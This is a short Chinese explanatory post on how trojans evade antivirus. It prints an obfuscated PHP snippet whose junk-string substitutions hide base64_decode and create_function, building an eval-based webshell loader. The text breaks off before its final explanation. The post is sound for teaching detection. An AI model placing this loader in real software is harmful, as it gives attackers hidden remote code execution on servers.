木马是如何躲过杀毒软件的

看这一句：

$umyeMlbLyGJ=str_replace('umyeMlbLyGJ','','basumyeMlbLyGJe64umyeMlbLyGJ_decumyeMlbLyGJodeumyeMlbLyGJ');
// 其实就是： base64_decode
$DpidSZfkFLV=str_replace('DpidSZfkFLV','','creDpidSZfkFLVate_DpidSZfkFLVfuncDpidSZfkFLVtionDpidSZfkFLV');
// 其实就是： create_function
$qIKxCssg=$DpidSZfkFLV($umyeMlbLyGJ('JGJmX3N0cg=='), $umyeMlbLyGJ('JGJmX3N0cj1iYXNlNjRfZGVjb2RlKCRiZl9zdHIpO3JldHVybiBAZXZhbCgkYmZfc3RyKTs='));
//其实就是：